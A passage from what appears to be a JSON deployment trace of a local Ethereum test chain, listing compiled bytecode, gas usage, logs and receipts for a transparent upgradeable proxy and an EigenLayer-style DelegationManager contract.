a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","nonce":3,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8bf2e","logs":[{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000080000400000000000000000000000000001000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000008000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xc0a1e423681d43bb6a6f65f74cea24f4c5d4656f0e46461bd3cfed1c0551d972","block_number":4},{"info":{"transaction_hash":"0x804ce4e2fea65a47a6bcaf0436b386ad347c7083ad0ef319a04f97eb627952a2","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x61010060405234801561001157600080fd5b50604051615c04380380615c0483398101604081905261003091610135565b6001600160a01b0380841660805280821660c052821660a05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516159ee61021660003960006126560152600081816105b10152818161101d0152818161139901528181611be5015281816129b001528181613e5b0152614347015260006107620152600081816104f901528181610feb0152818161136701528181611c7901528181612a7d01528181612c0001528181613f8101526143ed01526159ee6000f3fe608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016148061103f5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614806113bb5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000000000000000000000000000000000000000000000909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f0000000000000000000000000000000000000000000000000000000000000000909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f00000000000000000000000000000000000000000000000000000000000000004603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638c80d4e588868481